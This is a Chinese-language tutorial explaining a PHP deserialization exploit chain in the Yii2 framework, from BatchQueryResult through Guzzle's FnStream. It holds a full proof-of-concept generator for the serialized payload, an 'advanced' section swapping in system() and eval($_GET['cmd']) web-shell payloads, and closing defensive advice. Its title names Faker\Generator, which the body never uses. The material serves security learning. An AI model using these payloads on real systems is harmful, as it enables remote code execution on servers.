Yii2框架反序列化漏洞利用链(一):妙用Faker\Generator的魔术旅程

前言

PHP 反序列化漏洞是一种常见且危害严重的安全漏洞,它允许攻击者通过精心构造的序列化数据来执行任意代码。本文将以 Yii2 框架中的 BatchQueryResult 类为例,详细分析一个完整的反序列化漏洞利用链,从漏洞原理到最终的 POC 构建。

漏洞原理概述

PHP 反序列化漏洞发生的基本条件是:

  1. 应用程序接收用户输入的序列化数据并使用 unserialize() 函数还原
  2. 存在可利用的"魔术方法"(如 __destruct__wakeup__toString 等)
  3. 这些魔术方法中包含可被利用的代码路径

当这些条件满足时,攻击者可以构造特定的序列化数据,使反序列化过程触发一系列方法调用,最终达到执行任意代码的目的。

Yii2 BatchQueryResult 类分析

我们首先来分析 Yii2 框架中的 BatchQueryResult 类,它位于 vendor/yiisoft/yii2/db/BatchQueryResult.php

关键属性和方法

namespace yii\db;

class BatchQueryResult extends BaseObject implements \Iterator
{
    private $_dataReader;
    
    // 其他属性...
    
    public function __destruct()
    {
        $this->reset();
    }
    
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
    
    // 其他方法...
}

从代码中可以看出:

  1. __destruct() 方法在对象被销毁时调用 reset()
  2. reset() 方法检查 $_dataReader 是否为 null,如果不是,则调用其 close() 方法

这里的关键点是:如果我们能控制 $_dataReader 属性指向一个具有 close() 方法的对象,并且该 close() 方法能执行我们想要的代码,就能实现代码执行

利用链分析

寻找合适的利用链

为了利用这个漏洞,我们需要寻找一个具有 close() 方法且能被利用的类。经过研究,我们发现 Guzzle HTTP 库中的 GuzzleHttp\Psr7\FnStream 类非常适合:

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

class FnStream implements StreamInterface
{
    private $methods;
    
    private static $slots = ['__toString', 'close', 'detach', 'rewind',
        'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
        'isReadable', 'read', 'getContents', 'getMetadata'];
    
    public function __construct(array $methods)
    {
        $this->methods = $methods;
    }
    
    public function close()
    {
        return call_user_func($this->_fn_close);
    }
    
    // 其他方法...
}

FnStream 类有以下特点:

  1. 它实现了 close() 方法
  2. close() 方法使用 call_user_func($this->_fn_close) 调用存储在 $_fn_close 属性中的可调用内容
  3. 如果我们能控制 $_fn_close 属性,就能执行任意 PHP 函数

完整的利用链如下:

  1. 创建一个序列化的 BatchQueryResult 对象
  2. 设置其 $_dataReader 属性为 FnStream 对象
  3. 设置 FnStream 对象的 $_fn_close 属性为想要执行的 PHP 函数(如 phpinfo
  4. 当这个序列化对象被反序列化时,最终会调用 call_user_func($this->_fn_close),执行我们指定的函数

POC 构建步骤

接下来我们将一步步构建 POC(概念验证代码):

步骤 1:构建基本框架

<?php
namespace yii\db;

class BatchQueryResult
{
    private $_dataReader;
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

注意点:命名空间必须正确,必须与原始类的命名空间一致(yii\db)。错误的命名空间将导致反序列化失败或利用链断裂。

步骤 2:添加 FnStream 类

<?php
namespace GuzzleHttp\Psr7;

class FnStream
{
    private $_fn_close;
    
    public function __construct()
    {
        $this->_fn_close = "phpinfo";
    }
}

namespace yii\db;

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult
{
    private $_dataReader;
    
    public function __construct()
    {
        $this->_dataReader = new FnStream();
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

注意点

  1. 我们只需要实现漏洞利用所必需的部分,不需要完整复制原始类的所有属性和方法。
  2. FnStream 类中,我们设置 $_fn_close = "phpinfo",这将是最终执行的 PHP 函数。
  3. 确保引入了正确的类:use GuzzleHttp\Psr7\FnStream;

步骤 3:完善 POC

为了便于理解,我们来梳理整个利用链的执行流程:

  1. unserialize() 还原 BatchQueryResult 对象
  2. 对象生命周期结束时,触发 __destruct() 方法
  3. __destruct() 调用 reset()
  4. reset() 检查 $_dataReader 并调用 $_dataReader->close()
  5. 由于 $_dataReaderFnStream 对象,所以实际调用的是 FnStream->close()
  6. FnStream->close() 执行 call_user_func($this->_fn_close)
  7. 最终执行 phpinfo() 函数

最终的 POC 代码如下:

<?php
// 第一部分:定义 FnStream 类
namespace GuzzleHttp\Psr7;

class FnStream
{
    private $_fn_close;
    
    public function __construct()
    {
        // 设置要执行的 PHP 函数,可以替换为其他函数或命令
        $this->_fn_close = "phpinfo";
    }
}

// 第二部分:定义 BatchQueryResult 类
namespace yii\db;

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult
{
    private $_dataReader;
    
    public function __construct()
    {
        // 将 _dataReader 设置为 FnStream 对象
        $this->_dataReader = new FnStream();
    }
}

// 第三部分:生成序列化数据
namespace {
    use yii\db\BatchQueryResult;
    
    // 创建对象并序列化
    $obj = new BatchQueryResult();
    $serialized = serialize($obj);
    
    // 输出 base64 编码后的序列化数据(便于传输)
    echo base64_encode($serialized);
}

进阶利用

上面的 POC 仅执行 phpinfo() 函数,在实际利用中,我们可以替换为更有实际作用的函数:

// 执行系统命令
$this->_fn_close = function() { system('id'); };

// 或者执行 eval
$this->_fn_close = function() { eval($_GET['cmd']); };

注意点:使用匿名函数时,序列化数据会更复杂,但能实现更灵活的控制。

防御措施

为了防御此类漏洞,可以采取以下措施:

  1. 不要直接反序列化不可信数据:如果必须处理用户提供的序列化数据,使用安全的替代方案如 JSON
  2. 使用 PHP 7.1+ 的 allowed_classes 选项:限制可以被反序列化的类
    unserialize($data, ['allowed_classes' => false]);
    
  3. 实施输入验证:验证序列化数据的格式和内容
  4. 更新依赖:确保使用最新版本的框架和库,其中可能已修复已知漏洞

总结

本文详细分析了基于 Yii2 框架 BatchQueryResult 类的反序列化漏洞利用链。通过控制 $_dataReader 属性指向一个 FnStream 对象,并设置其 $_fn_close 属性为任意 PHP 函数,我们可以在对象反序列化时触发任意代码执行。

理解此类漏洞的工作原理对于开发安全的 PHP 应用程序和进行有效的安全测试至关重要。始终记住,不要反序列化不可信的数据,这是防御此类漏洞的最佳方式。

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值